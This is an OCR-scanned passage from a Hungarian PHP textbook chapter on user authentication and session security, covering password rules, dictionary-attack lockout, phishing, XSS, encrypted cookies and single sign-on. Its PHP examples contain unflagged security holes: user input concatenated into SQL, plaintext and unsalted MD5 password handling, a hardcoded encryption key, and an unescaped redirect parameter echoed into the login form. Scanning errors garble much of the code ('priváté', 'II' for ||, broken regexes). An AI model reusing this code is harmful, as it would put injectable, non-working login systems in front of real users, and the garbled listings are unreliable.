A sors iróniája, hogy a rendszer optimalizálása még könnyebbé teszi a szótártámadást.


Egy korábbi munkám során megdöbbenéssel tapasztaltam, hogy egy kalóz egy ilyen tá-
madás során több mint 100-szor volt képes próbálkozni egy másodpercen belül. Ilyen se-
besség mellett egy teljes, 50 000 szavas szótárral 10 percen belül végez.
13. fejezet * A felhasználók hitelesítése és a munkamenetek biztonsága 355

A jelszavak elleni támadások kivédésére alapvetően két megoldás létezik, jóllehet egyik
sem mondható bombabiztosnak:

• Készítsünk „jó" jelszavakat.


• Csökkentsük a szótártámadások hatékonyságát.

Milyenek is azok a „jó" jelszavak? Nos, jellemzőjük az, hogy nehezen kitalálhatok automa-
tizált módszerekkel. Ilyen jelszavak készítésére alkalmas például az alábbi függvény:

function random_password($length=8) {
$str =
for($i=0; $i<$length; $i++) {
$str .= chr(rand(48,122));
}
return $str;
}

Eredményként olyan jelszavakat kapunk, amelyek véletlenszerűen kiválasztott nyomtatha-


tó ASCII karakterekből állnak. Nagy hibájuk azonban, hogy igen nehéz megjegyezni őket.
Ezzel rátapintottunk a véletlen jelszóelőállítók legnagyobb hibájára. A felhasználók egy-
szerűen nem szeretik őket. Ráadásul minél nehezebb egy ilyen jelszót megjegyezni, annál
valószínűbb, hogy a felhasználó felírja egy cetlire, esetleg elhelyezi egy szövegfájlban
vagy elektronikus levélben.

Közkedvelt megoldás, hogy a jó jelszó készítését a felhasználóra bízzák, választását azon-


ban néhány egyszerű szabállyal korlátozzák. Megengedhetjük felhasználónknak, hogy ki-
válassza saját jelszavát, de megkövetelhetjük, hogy ez a jelszó kiálljon néhány próbát.
Az alábbi függvény ilyen ellenőrzési feladatokat valósít meg:

function good_password($password) {
if (strlen($password) < 8) {
return 0;
}
if (!preg_match(" Ad/ ", $password) ) {
return 0;
}
if(!preg_match("/[a-z]/ i " , $password)) {
return 0;
}
}

Függvényünk megköveteli, hogy a jelszó legalább nyolc karakterből álljon, és mind betű-
ket, mind számokat tartalmazzon.
356 PHP fejlesztés felsőfokon

A függvényt tovább is fejleszthetjük, és ellenőrizhetjük, hogy ha eltávolítottuk a számka-


raktereket, a maradék nem egy szótárban szereplő szó, illetve a jelszó nem tartalmazza
a felhasználó nevét vagy címét. Ez a módszer követi a tanácsadói szakma alapszabályát:
Ha egy bonyolult problémával találkozunk, hárítsuk másra.

Jó jelszót készíteni, mellyel a felhasználó is elégedett, igen nehéz feladat - sokkal egysze-
rűbb kiszűrni a rossz jelszavakat, meggátolva, hogy a felhasználók ilyeneket válasszanak.

A következő feladatunk, hogy megakadályozzuk a szótártámadásokat a hitelesítési rend-


szerek ellen. Ha semmit nem teszünk e téren, a kalóz minden bizonnyal célt ér. Akármi-
lyen szabályokat találunk is ki a rossz jelszavak kiszűrésére, a felhasználók által kedvelt
jelszavak sajnos túl kevesen vannak.

Az egyik megoldás, ha letiltjuk az azonosítót, amennyiben sok, egymást követő


hibás bejelentkezést tapasztalunk. E módszer megvalósítása nem nehéz, mindössze
a check_credentials függvényt kell átírnunk úgy, hogy meghatározott számú
sikertelen kísérlet után zárolja az azonosítót:

function check_credentials($name, $password) {


$dbh = new DB_Mysql_Prod () ;
$cur = $dbh->execute("
SELECT
userid, password
FROM
users
WHERE
username = '$name'
AND failures < 3");
$row = $cur->fetch_assoc();
if($row) {
if($password == $row['password']) {
return $row['userid'];
}
else {
$cur = $dbh->execute("
UPDATE
users
SET
failures = failures + 1,
last_failure = now()
WHERE
username = '$name'");
}
}
throw new AuthException("user is not authorized");
}
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 357

E letiltást feloldhatjuk magunk, de elvégezhetjük egy cron feladatként is, amely minden
olyan sornál, ami egy óránál régebbi, nullázza a sikertelen próbálkozások számát.

A módszer legnagyobb hátulütője, hogy lehetővé teszi a kalózok számára, hogy szándé-
kosan rossz jelszavakkal próbálkozva meggátolják a valódi felhasználó belépését. Részle-
ges megoldásként meghatározhatjuk azon IP címeket, melyeknél valóban figyelnünk kell
a sikertelen bejelentkezésekre. A belépési rendszer védelme örökös küzdelem, hiszen
mindig akadnak biztonsági rések. Mindazonáltal fontos, hogy felmérjük, mennyi időt és
erőforrást érdemes áldoznunk egy esetleges biztonsági rés betömésére.

Az alkalmazott védelmi stratégia tetszőlegesen bonyolult lehet - elképzelhető olyan rend-


szer is, ami nem enged meg percenként háromnál, naponta pedig 20-nál több sikertelen
belépési kísérletet.

Védelem az emberi tényező kihasználása ellen


Jóllehet ez nem igazán technikai témakör, mindenképpen szót kell ejtenünk az átveréses
támadásokról. Ilyenkor a kalóz csalással jut adatokhoz a felhasználótól, gyakran egy meg-
bízható személynek kiadva magát. A leggyakoribb példák erre az alábbiak:

• A kalóz rendszergazdának állítja be magát, és elektronikus levélben kéri el a fel-


használók adatait, „biztonsági okokra" hivatkozva.
• A kalóz készít egy másolatot a webhely bejelentkezési lapjáról, és valahogy ráveszi
a felhasználókat, hogy lépjenek be.
• Az előző két módszer valamilyen kombinációja.

Furának tűnik, hogy léteznek felhasználók, akiket ilyen módon be lehet csapni, de ez
sokkal gyakrabban előfordul, mint gondolnánk. Ha a Google-lel rákeresünk az eBay-jel
kapcsolatos csalásokra, rengeteg ilyen esetet találhatunk.

Az ilyen átverések ellen igen nehéz védekezni - a gondot éppen az okozza, hogy ez nem
technikai kérdés, sikerük azon múlik, hogy a felhasználó rossz döntéseket hozzon. A baj
megelőzésére mindössze annyit tehetünk, hogy részletesen tájékoztatjuk a felhasználókat,
hogyan és mikor lépünk majd kapcsolatba velük, továbbá, hogy kifejlesztünk bennük né-
mi egészséges gyanakvást személyes adataik kiadásával szemben.

Sok szerencsét, szükség lesz rá.


358 PHP fejlesztés felsőfokon

Az ördögi JavaScript

A következőkben számos olyan munkamenet-biztonsági módszerről esik majd szó, me-


lyekben sütiket használunk. Fontos tudnunk, hogy sok ügyfél oldali parancsnyelv - mint
a JavaScript - képes elérni a felhasználók sütijeit. Ha olyan webhelyét üzemeltetünk,
amely lehetővé teszi a felhasználók számára, hogy JavaScript, illetve CSS kódokat helyez-
zenek a tartomány által szolgáltatott oldalakra (vagyis a tartomány hozzáférhet a sütik-
hez), a sütik egyszerűen el téríthetők. A JavaScript a közösségi webhelyek kalózainak ál-
ma, hiszen lehetővé teszi, hogy könnyen módosítsák az általunk az ügyfeleknek küldött
adatokat.

Ezt a támadási típust helyközi támadásnak (cross-site scripting) hívják. Ilyen esetben egy
rosszindulatú felhasználó valamilyen ügyfél oldali megoldással (ez többnyire JavaScript,
Flash vagy CSS kód) képes elérni, hogy nemkívánt kódot töltsünk le egy, a meglátogatni
kívánttól eltérő webhelyről.

A hitelesítés fenntartása - hogyan győződjünk meg arról,


hogy még mindig ugyanahhoz beszélünk?
Ha egy teljes webhely hitelesítési rendszerét sütik nélkül szeretnénk kiépíteni, nagyjából
úgy járunk el, mintha edények nélkül kezdenénk főzni. Lehet, hogy valameddig eljutunk,
de életünk sokkal nehezebbé válik, és rendkívül otromba lekérdezési karakterláncokkal
kell bajlódnunk. Tudnunk kell, hogy manapság a sütik használatának engedélyezése nél-
kül igencsak nehéz navigálni a Weben. Gyakorlatilag napjaink minden böngészője, köz-
tük a teljességgel szöveg alapúak is támogatják a sütiket. Az igazság az, hogy a sütik
annyi előnyt biztosítanak, hogy a fejlesztők ezek kedvéért inkább lemondanak azokról
a felhasználókról, akik elutasítják a sütik használatát.

Az állapotok kérelmek közti megőrzésének tárgyalása nem lehet teljes anélkül, hogy szót
ne ejtenénk a buktatókról. A következő néhány pontban olyan módszereket veszünk sor-
ra, melyek annak ellenére, hogy széles körben elterjedtek, nem a kívánt eredményt adják.

A $_SERVER[REMOTE_IP] változatlanságának ellenőrzése


Sokan gondolják úgy, hogy ha valami, hát a felhasználó IP címe állandó marad a kapcsolt
során. Nos, ebben tévednek. Sőt, hogy a dolog még érdekesebb legyen, kétféleképpen is
tévedhetnek! Számos internetszolgáltató helyettes (proxy) kiszolgálókat használ arra,
hogy átmenetileg tárolja a HTTP kérelmeket, a lehető legkevesebbre csökkentve az azo-
nos objektumokra érkező kérelmek számát. így ha ketten ugyanahhoz az internetszolgál-
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 359

tatóhoz tartozunk, és ugyanazt a f oo . jpg nevű állományt szeretnénk egy webhelyről le-
tölteni, valójában csak az első kérelem lép ki a szolgáltató hálózatáról. Ezzel jelentős sáv-
szélesség takarítható meg, a sávszélesség pedig pénzt jelent.

Sok internetszolgáltató helyettes kiszolgálók fürtjeit alkalmazza annak érdekében, hogy na-
gyobb forgalmat bonyolíthasson le. A Világhálón böngészve az egymás után érkező kérel-
mek különböző helyetteseken haladhatnak át még akkor is, ha csak másodpercek választ-
ják el őket egymástól. A webkiszolgáló oldalán mindez azt jelenti, hogy ezek a kérelmek
különböző IP címekről érkeznek, vagyis a felhasználó $_SERVER [REMOTE_IP] értéke
minden további nélkül változhat egy munkameneten belül. Ezt a viselkedést könnyen
megfigyelhetjük a nagy telefonos szolgáltatók esetében.

A fenti gondok azonban eltörpülnek a másik fajta tévedési lehetőség mellett. Előfordulhat
ugyanis, hogy több különböző felhasználó kérelme ugyanarról a helyettes kiszolgálóról
érkezik, és így a $_SERVER[REMOTE_IP] értéke megegyező lesz az esetükben. Hasonló-
képpen igaz ez azoknál a felhasználóknál is, akik ugyanarról a hálózati címfordítóról kap-
csolódnak a hálózathoz (ami igen gyakran előfordul vállalati rendszerekben).

A $ SERVER [USERAGENT] változatlanságának ellenőrzése


A $_SERVER [USER_AGENT] egy karakterláncot ad, mellyel a böngésző a kérelemben
azonosítja magát. Saját böngészőm esetében ez a karakterlánc így fest:

M oz i l l a / 4 . 0 (compatible; MSIE 5.21; Mac_PowerPC)

ami, az Internet Explorer 5.2-es változatát jelenti Mac OS X rendszeren. Számos olyan esz-
mecsere során, ahol a PHP munkamenetek biztonságosabbá tételéről volt szó, felmerült
az ötlet, hogy ellenőrizni kellene a $_SERVER [USER_AGENT] értékének változatlaságát
a felhasználó egymást követő kérelmeiben. Sajnálatos módon azonban itt ugyanazzal
a gonddal szembesülünk, mint a $_SERVER [REMOTE_IP] esetében. Sok internetszolgál-
tatók által készített helyettesfürt esetében előfordulhat, hogy különböző kérelmeknél vé-
gül más USER_AGENT karakterlánc átvitelére kerül sor.

Titkosítatlan sütik használata


Ha nem titkosított (kódolatlan) sütikben tároljuk a felhasználók adatait és a hitelesítési in-
formációikat, olyan, mintha egy kocsmában egy papírcetlire firkantott sorral igazolni le-
hetne a vendég életkorát. A sütik tartalmának kiolvasása és módosítása igen könnyű fel-
adat, így nagyon fontos, hogy nehezen megfejthető alakban tároljuk bennük az adatokat.
(Erről bővebben a fejezet későbbi részében szólunk.)

A követendő módszerekről
Az előbbiekben megtárgyaltuk, milyen módszereket ne használjunk a hitelesítésben -
most szóljunk az ajánlott lehetőségekről is.
360 PHP fejlesztés felsőfokon

Titkosítás használata

A sütik minden olyan adatát, melyek kiolvasását vagy módosítását el szeretnénk kerülni,
titkosítanunk kell.

Mindig akadnak olyan programozók, akik saját titkosító algoritmusaikat alkalmazzák - hi-
ába minden intő szó. Saját titkosító algoritmust alkalmazni olyan, mintha egymagunk sze-
retnénk összeállítani egy űrrakétát. Nem fog sikerülni. Időről időre bebizonyosodik, hogy
a házilag összeállított titkosítási módszerek (még a nagy cégek fejlesztései is) nem nyújta-
nak elég biztonságot. Próbáljunk elébe menni a szinte biztos kudarcnak. Maradjunk
a sokszor áttekintett, mindenki számára elérhető, jól bevált algoritmusoknál.

Az mcrypt bővítmény segítségével számos jól bevált titkosító algoritmust érhetünk el. Mi-
vel webkiszolgálónkhoz szükségünk van mind a kódoló, mind a visszafejtő kulcsokra
(hogy írni és olvasni is tudjuk a sütiket), semmi értelme, hogy aszimmetrikus algoritmus
mellett döntsünk. Példáink a blowfish algoritmust alkalmazzák, de könnyen áttérhetünk
más módszerre is.

Az elavulás megvalósítása
A hitelesítés elavulásának megvalósítására két lehetőségünk van: a sütiket elavulttá tehet-
jük minden használat után, de időtartamhoz is köthetjük a lejáratot.

Kérelmenkénti elavulás

Ez a módszer gyakorlatilag úgy működik, mint a TCP. Minden felhasználónál megkez-


dünk egy számsorozatot, és az aktuális értéket tároljuk a sütiben. A következő kérelem ki-
adásánál a kapott sorozatszámot összehasonlítjuk az előzőleg küldöttel. Ha a kettő meg-
egyezik, a kérelmet hitelesnek fogadjuk el. Ezután elkészítjük a következő sorozatszámot,
és a folyamat újraindul.

Ez a módszer megnehezíti, hogy kívülállók belepiszkáljanak a munkamenetbe, de ez to-


vábbra sem lehetetlen feladat. Ha valaki elfogja a kiszolgáló által küldött választ, és ná-
lunk korábban válaszol a sütivel, már el is térítette a munkamenetet. Mindez persze kissé
furán hangzik, sajnos azonban minden biztonsági rés kihasználható valamire. Sajnálatos
módon a biztonság és a jól használhatóság érdekei gyakran ellentétesek. Olyan kiszolgá-
lót készíteni, melynek munkamenetei eltéríthetetlenek, szinte lehetetlen.

Mindemellett meglehetősen sok erőforrást élhetünk fel azzal, ha minden kérelemnél elké-
szítjük egy sorozat kódolt elemét. Nem csak arról van itt szó, hogy minden kérelemnél el
kell végeznünk a visszafejtést és az újrakódolást (ami egyébként szintén jelentős feladat),
hanem minden felhasználó esetében tárolnunk kell az aktuális sorozatszámot. Többki-
szolgálós környezetben ehhez egy adatbázisra van szükség, ami természetesen jelentős
költségekkel járhat. Összegzésként annyit mondhatunk, hogy az általa nyújtott védelem
mértékéhez képest ez az elavulási séma nem éri meg a fáradságot.
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 361

Elavulás rögzített időtartam után

E módszer alkalmazásánál a sütik néhány percenként elavulnak. Gondoljunk csak a sífel-


vonónál kapott jegy dátumot tartalmazó részére. Ennek segítségével a jegyet egész nap
használhatjuk, s nem kell újra és újra kiváltanunk. Beleírhatjuk tehát a sütikbe készítésük
idejét, és a későbbiekben ezt az adatot ellenőrizhetjük. Ez a módszer is nyújt némi védel-
met az eltérítéssel szemben, mivel a sütiket készítésüket követően csak néhány percig
használhatjuk. Mindemellett az alábbi előnyök is az ölünkbe hullanak:

• Nincs szükség központosított ellenőrzésre - Ha a gépek órái összehangoltan működnek,


a sütik ellenőrizhetők anélkül, hogy valamiféle központi irányításra volna szükség.
• Nem kell túl gyakran sütiket készítenünk - Mivel a sütik egy meghatározott időtartamig
érvényesek, nem kell minden kérelemnél újat készítenünk belőlük. Ez azt jelenti,
hogy a kérelmek többségében megtakaríthatjuk a titkosítási munka felét.

Felhasználók azonosítása
Nem szabad megfeledkeznünk arról sem, hogy pontosan kinek a sütijét hitelesítjük. Leg-
jobb, ha maradandó és egyértelmű azonosítókat használunk - nagyszerűen megfelel e
célra, ha sorszámokkal látjuk el felhasználóinkat.

Változatinformációk begyűjtése

Egy apró, de annál fontosabb megjegyzés: mindenféle maradandó adat, amelyről azt gon-
doljuk, hogy ügyfeleink visszaküldhetik számunkra, kell, hogy tartalmazzon változatjelző-
ket. Ezek nélkül nem lehet úgy megváltoztatni a sütik formátumát, hogy szolgáltatásunk
ne szakadna meg. Ilyenkor még a legkedvezőbb esetben is újra be kell léptetnünk az ol-
dal összes látogatóját. Ha nincs ekkora szerencsénk, és mondjuk egyetlen gépen megma-
rad a süti régi változata, komoly és nehezen felkutatható hibákkal kell szembenéznünk.
Ha nem tartjuk nyilván a változatinformációkat, kódunk meglehetősen ingataggá válhat.

Kijelentkezés

Ez a témakör nem kapcsolódik közvetlenül a sütikhez, mégis itt kell megemlítenünk. A fel-
használónak meg kell adni a lehetőséget munkamenetének befejezésére. Erről semmiféle-
képpen nem szabad megfeledkeznünk, hiszen nagyban érinti a személyes adatbiztonságot.
A kijelentkezést könnyen megvalósíthatjuk a munkamenet sütijének kiürítésével.

Hitelesítés a gyakorlatban - egy példa


Elég a sok elméletből - lássunk némi kódot is! Mindenekelőtt meg kell választanunk a süti
formátumát. A korábbiakban leírtak alapján elegendő, ha megadjuk a változatszámot
($version), a készítés időpontját ($created), valamint a felhasználó azonosítóját
($userid):
362 PHP fejlesztés felsőfokon

<?php
require_once 'Exception.inc';

class AuthException extends Exception {}

class Cookie {
priváté $created;
priváté $userid;
priváté $version;
// mcrypt leírónk
priváté $td;

// az mcrypt adatai
static $cypher = 'blowfish';
static $mode = 'cfb';
static $key = 'choose a better key' ;

// adatok a süti formátumáról


static $cookiename = 'USERAUTH';
static $myversion = ' 1' ;
// a süti lejárati ideje
static $expiration = '600';
// a süti frissítésének ideje
static $warning = '300';
static $glue = 'I';

public function___ construct($userid = falsé) {


$this->td = mcrypt_module_open ($cypher, '', $mode, ' ' ) ;
if($userid) {
$this->userid = $userid;
return;
}
else {
if(array_key_exists(self::$cookiename, $_COOKIE)) {
$buffer = $this->_unpackage($_COOKIE[self::$cookiename] ) ;
}
else {
throw new AuthException("No Cookie");
}
}
}
public function set() {
$cookie = $this->_package();
set_cookie(self::$cookiename, $cookie);
}
public function validate() {
if(!$this->version II !$this->created II !$this->userid) {
throw new AuthException("Malformed cookie");
}
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 363

if ($this->version != self::$myversion) {
throw new AuthException("Version mismatch");
}
if (time() - $this->created > self::$expiration) {
throw new AuthException("Cookie expired");
} else if ( time() - $this->created > self::$resettime) {
$this->set();
}
}
public function logout() {
set_cookie(self::$cookiename, "", 0);
}
priváté function _package() {
$parts = array(self::$myversion, time(), $this->userid);
$cookie = implode($glue, $parts);
return $this->_encrypt($cookie);
}
priváté function _unpackage($cookie) {
$buffer = $this->_decrypt($cookie);
list($this->version, $this->created, $this->userid) =
explode($glue, $buffer);
if($this->version != self::$myversion II
!$this->created II
!$this->userid)
{
throw new AuthException();
}
}
priváté function _encrypt($plaintext) {
$iv = mcrypt_create_iv (mcrypt_enc_get_iv__size ($td), MCRYPT_RAND);
mcrypt_generic_init ($this->td, $this->key, $iv);
$crypttext = mcrypt_generic ($this->td, $plaintext) ;
mcrypt_generic_deinit ($this->td);
return $iv.$crypttext;
}
priváté function _decrypt($crypttext) {
$ivsize = mcrypt_get_iv_size($this->td);
$iv = substr($crypttext, 0, $ivsize);
$crypttext = substr($crypttext, $ivsize);
mcrypt_generic_init ($this->td, $this->key, $iv);
$plaintext = mdecrypt_generic ($this->td, $crypttext);
mcrypt_generic_deinit ($this->td);
return $plaintext;
}
priváté function _reissue() {
$this->created = time();
}
}

?>
364 PHP fejlesztés felsőfokon

Nos, ez egy meglehetősen bonyolult osztály, így hát kezdjük elemzését a nyilvános
felülettel. Amennyiben a konstruktornak nem adunk át felhasználóazonosítót, feltéte-
lezi, hogy a környezetből szeretnénk olvasni, így megkísérli kiolvasni és feldolgozni
a $_COOKIE változóban található sutit. A süti tárolására a $cookiename szolgál (ami
ez esetben a USERAUTH). Ha bármi gondunk akad a süti elérésével vagy visszafejtésével,
a konstruktőr egy AuthException kivételt vált ki. Ez egyébként egy egyszerű burkoló
az általános Exception osztály körül:

class AuthException extends Exception {}

A hitelesítés bármiféle hibájának kezelését a kivételekre hagyhatjuk.

Ha példányosítunk egy sutit a környezetből, érdemes meghívnunk a validate () tag-


függvényt. Ez ellenőrzi a süti szerkezetét, továbbá megvizsgálja, hogy változatszáma he-
lyes-e, valamint, hogy a süti elavult-e. (Elavult akkor lehet, ha készítésének időpontja leg-
alább $expiration másodperccel korábbi.) A validate () elvégzi a süti frissítését is,
ha már közel áll az elavuláshoz (vagyis ha készítése legalább $warning másodperccel
korábbi). Ha egy sutit egy felhasználóazonosítóval példányosítunk, az osztály feltételezi,
hogy egy vadonatúj Cookie objektumot készítünk, így nincs szükség az érvényesítésre.

A set nyilvános tagfüggvény összeállítja, titkosítja és beállítja a sutit. Erre azért van szük-
ségünk, hogy kezdetben is képesek legyünk sütiket létrehozni. Figyeljük meg, hogy itt
nem állítunk be lejárati időt:

set_cookie(self::$cookiename, $cookie) ;

Ez azt jelenti, hogy a böngészőnek kikapcsoláskor automatikusan el kell dobnia ezt


a sutit.

Végezetül, a logout tagfüggvény kiüríti a sütít, üres értékűvé teszi, 0 lejárati idővel - ez,
mivel Unix időbélyegzőkről van szó, 1969. december 31. este 7 órát jelent.

Az osztály belsejében van néhány segédfüggvényünk is. A _package és az _unpackage


az implode és az explode segítségével képes a kívánt adatok tömbjét egy karakterláncba
írni, illetve onnan kigyűjteni. Az _encrypt és a _decrypt a kódolásért, illetve a visszafej-
tésért felel. Az előbbi egy tiszta szövegből álló karakterláncot kódol az osztálytulajdonsá-
gokkal megadott módszerrel (blowfish), a _decrypt pedig visszafejti a karakterláncot, és
visszaadja az eredményt.
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 365

Figyeljük meg a következő sort:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ( $ t d ) , MCRYPT_RAND);

Ezt a kódoló függvény „kezdővektorának", illetve magjának meghatározásához használ-


juk, majd az eredményt átadjuk a kódolt karakterlánccal. Megadhatunk saját kezdővektort
is. Számos fejlesztő él ezzel a lehetőséggel, de elköveti azt a hibát, hogy mind a kezdő-
vektort, mind a kulcsot tárolja a kódolási könyvtárban. Ha szimmetrikus kódolást haszná-
lunk rögzített kulccsal CBC, CFB, vagy OFB módban, fontos, hogy véletlen kezdővektort
használjunk, egyébként a sütik könnyen támadások áldozatául eshetnek. Ez különösen
a CFB és az OFB esetében lényeges, a CBC módnál kevésbé jelent veszélyt.

A könyvtárt a használat érdekében egy függvénybe burkoljuk, melyet minden oldal elején
meghívunk:

function check_auth() {
try {
$cookie = new Cookie();
$cookie->validate() ;
}
catch (AuthException $e) {
header("Location:
/login.php?originating_uri=".$_SERVER['REQUESTJJRI']);
exit ;
}
}

Ha a felhasználó sütije érvényes, továbbhaladhat, ha pedig nem, visszakerül a bejelentke-


zési oldalra.

Amennyiben a felhasználó sütije nem létezik, vagy bármilyen gond adódik az ellenőrzésénél,
szintén visszakerül a bejelentkezési oldalra. Ha a $_GET értékét az origination_uri-ra ál-
lítjuk, egyszerűen visszakerülhetünk a kezdőoldalra.

A login.php egy egyszerű űrlap, amely lehetővé teszi a felhasználó számára, hogy beír-
ja azonosítóját és jelszavát. Amennyiben sikerrel járt, a rendszer beállítja munkameneti
sütijét, és visszakerül az eredeti oldalra, ahonnan jött:

<?php
require_once 'Cookie.inc';
require_once 'Authentication.inc';
require_once 'Exception.inc';
$name = $_POST['name'];
$password = $_POST['password'];
366 PHP fejlesztés felsőfokon

$uri = $_REQUEST['originating_uri'];
if(!$uri) {
$uri = ' / ' ;
}

try {
$userid = Authentication::check_credentials ($name, $password);
$cookie = new Cookie($userid);
$cookie->set();
header("Locat ion: $uri");
exit ;
}
catch (AuthException $e) {
?>
<html>
<title> Login </title>
<body>
<form name=login method=post>
Username: <input type="text" name= "name"xbr>
Password: <input type="password" name="name"xbr>
<input type="hidden" name="originating_uri"
value="<?= $_REQUEST['originating_uri'] ?>
<input type=submit name=submitted value="Login">
</form>
</body>
</html>
<?php
}
?>

A felhasználók azonosító-jelszó párjainak ellenőrzésére a korábban megismert


check_credentials függvényt alkalmazhatjuk:

class Authentication {
function check_credentials($name, $password) {
$dbh = new DB_Mysql_Prod();
$cur = $dbh->prepare("
SELECT
userid
FROM
users
WHERE
username = : 1
AND password = :2")->execute($name, md5($password));
$row = $cur->fetch_assoc();
if($row) {
$userid = $row['userid' ] ;
}
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 367

else {
throw new AuthException("user is not authorized");
}
return $userid;
}
}

Figyeljük meg, hogy a felhasználó jelszavát nem egyszerű szöveges formában tároltuk,
hanem készítettünk belőle egy MD5 kivonatot. Nagy előnye ennek a módszernek, hogy
még ha adatbázisunkat fel is törik, a felhasználók jelszavaihoz nem jutnak hozzá. Hátul-
ütője pedig az (már amennyiben annak tekintjük), hogy a felhasználók jelszavait nem tud-
juk előbányászni, csak felülírni.

Ha módosítani szeretnénk a hitelesítés módszerét (melynek alapja lehet mondjuk a jelszó


kikeresése, Kerberos, vagy LDAP), csak az authenticate függvényt kell megváltoztat-
nunk, a kód további része ettől függetlenül működik.

Egyszeri feliratkozás
Gondoljuk most egy kicsit tovább síelős példánkat. Egyes síközpontok kapcsolatban áll-
hatnak más hegyeken levőkkel, így az a síbérlet, mellyel egyikük szolgáltatásait igénybe
vehetjük, érvényes lehet máshol is. Ha tehát az egyik központban vásárolt síbérlettel meg-
jelenünk egy másik helyen, az ottani központ is minden további nélkül ad egy felvonóje-
gyet. Gyakorlatilag ez a lényege az egyszeri feliratkozás módszerének.

Egyszeri feliratkozás - a múlt sötét foltjai


Az egyszeri feliratkozás elvének népszerűségét jelentősen megtépázta a Microsoft Pass-
port körül támadt vihar. Mindazonáltal a Passport kapcsán felmerült valóban komoly kér-
dések nem arról szóltak, hogy az egyszeri feliratkozás jó vagy rossz, hanem bizonyos biz-
tonsági gondokról, melyek alapja egy külső gyártó által készített központi hitelesítő volt.
Jelen esetben nem beszélhetünk valódi külső gyártókról - itt a hitelesítés egymásban
megbízó partnerek közt folyik.

Gyakran előfordul, hogy egy cég több, különböző név alatt futó webhelyét üzemeltet (kü-
lönböző webhelyek, különböző tartományok - azonos vezetőség). Tegyük fel például,
hogy két áruház felett rendelkezünk, és szeretnénk, hogy a felhasználók adatai az egyik-
ből automatikusan átkerüljenek a másikba is, így ne kelljen feleslegesen kétszer ugyan-
azokat az űrlapokat kitölteniük. A sütik a tartományokhoz kötődnek, így nem alkalmaz-
hatjuk az egyik tartomány sütijeit a felhasználó hitelesítésére egy másikban.
368 PHP fejlesztés felsőfokon

A 13.1. ábrán láthatjuk, mi történik, amikor a felhasználó elsőként belép egy osztott hite-
lesítésű rendszer valamelyik webhelyére.

13.1. ábra
Kezdeti belépés az egyszeri feliratkozásos rendszerbe.

A bejelentkezés során a felhasználó az alábbi lépéseket tapasztalja:

1. Az ügyfél lekérdezést intéz a www. example . f oo webkiszolgálóhoz.


2. Az oldal észleli, hogy a felhasználó még nincs bejelentkezve (nincs érvényes munka-
meneti sütije a www. example. f oo-hoz), és átirányítja a www. singlesignon.com
bejelentkezési lapjára. Ez az átirányítás emellett tartalmaz egy rejtett változót is egy
titkosított hitelesítési kérelemmel, ami igazolja, hogy a kérelem a www. example. f oo
webhelyről származik.
3- Az ügyfél elküldi a kérelmet a www. singlesignon. com bejelentkezési oldalára.
4. A www. singlesignon. com megjeleníti a felhasználónév/jelszó ablakot.
5. Az ügyfél elküldi az űrlap tartalmát egy hitelesítési kérelemmel a hitelesítő
kiszolgálóhoz.
6. A hitelesítő kiszolgáló feldolgozza a kérelmet, majd visszairányít
a www. example. f oo címre, egy titkosított azonosítási válasszal.
A kiszolgáló emellett elkészíti a felhasználó munkameneti sütijét is.
7. A felhasználó utolsó kérelmében visszaküldi a hitelesítő választ
a www. example . f oo címre.
8. A www. example. f oo ellenőrzi a kódolt hitelesítő választ, melyet a hitelesítő ki-
szolgálótól kapott, és beállít egy munkameneti sutit a felhasználó számára.

A későbbi bejelentkezési kísérleteknél bármely olyan webhelyen, amely ugyanehhez


a bejelentkezési kiszolgálóhoz kapcsolódik, a legtöbb lépés lerövidül. A 13.2. ábra egy
második bejelentkezési kísérletet mutat be egy, az előzőektől eltérő webhelyről.
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 369

13.2. ábra
Az egyszeri feliratkozásos rendszer működése az első belépés után.

A folyamat első része megegyezik a 13.1. ábrán bemutatottal - annyi különbséggel, hogy
amikor az ügyfél kérelmet küld a www. singlesignon.com címre, most már átadja a ko-
rábban a 6. lépésben készített sutit is. Lássuk e folyamat lépéseit:

1. Az ügyfél lekérdezést intéz a www. example. com webkiszolgálóhoz.


2. Az oldal észleli, hogy a felhasználó még nincs bejelentkezve (nincs érvényes munka-
meneti sütije a www. example. com-hoz), és átirányítja a www. singlesignon. com
bejelentkezési lapjára. Ez az átirányítás emellett tartalmaz egy rejtett változót is egy
titkosított hitelesítési kérelemmel, ami igazolja, hogy a kérelem a www. example. com
webhelyről származik.
3. Az ügyfél elküldi a kérelmet a www. singlesignon. com bejelentkezési oldalára.
4. A hitelesítő kiszolgáló ellenőrzi a felhasználó singlesignon sütijét, elkészíti a hi-
telesítési választ, és átirányítja a felhasználót a www. example . com címre.
5. A felhasználó utolsó kérelmében visszaküldi a hitelesítő választ
a www. example . com címre.
6. A www. example . com ellenőrzi a kódolt hitelesítő választ, melyet a hitelesítő ki-
szolgálótól kapott, és beállít egy munkameneti sutit a felhasználó számára.

Jóllehet, ez meglehetősen munkaigényesnek tűnik, a folyamat teljességgel rejtve marad


a felhasználó előtt. A második bejelentkezési kérelem azonnali hitelesítés után egyszerűen
visszapattan a hitelesítő kiszolgálóról, és a felhasználó adatainak beállítása után visszake-
rül az eredeti webhelyre.

Az egyszeri feliratkozás megvalósítása


Lássunk most egy rövid példát az egyszeri feliratkozásos rendszer megvalósítására. Fontos
megjegyeznünk, hogy itt mind a központi, mind a külső kiszolgálók által használt függvé-
nyek megtalálhatók. Vegyük észre azt is, hogy ez az osztály saját mcrypt burkoló függve-
370 PHP fejlesztés felsőfokon

nyekkel rendelkezik. Persze, ha már volt külső mcrypt burkoló könyvtárunk, melynek
használatát megszoktuk, ezt is behelyettesíthetjük.

class SingleSignOn {
protected $cypher = 'blowfish1;
protected $mode = 'c f b ' ;
protected $key = 'choose a better key';
protected $td;

protected $glue = ' I ' ;


protected $clock_skew = 60 ;
protected $myversion = 1;

protected $client;
protected $authserver;
protected $userid;
public $originating_uri;

public function ______construct() {


// az mcrypt környezet beállításai
$this->td = mcrypt_module_open ($this->cypher, '', $this->mode, '');
}
public function generate_auth_request() {
$parts = array ($thís->myversion, timeO,
$this->client, $this->originating_uri);
$plaintext = implode($this~>glue, $parts);
$reguest = $this->_encrypt($plaintext);
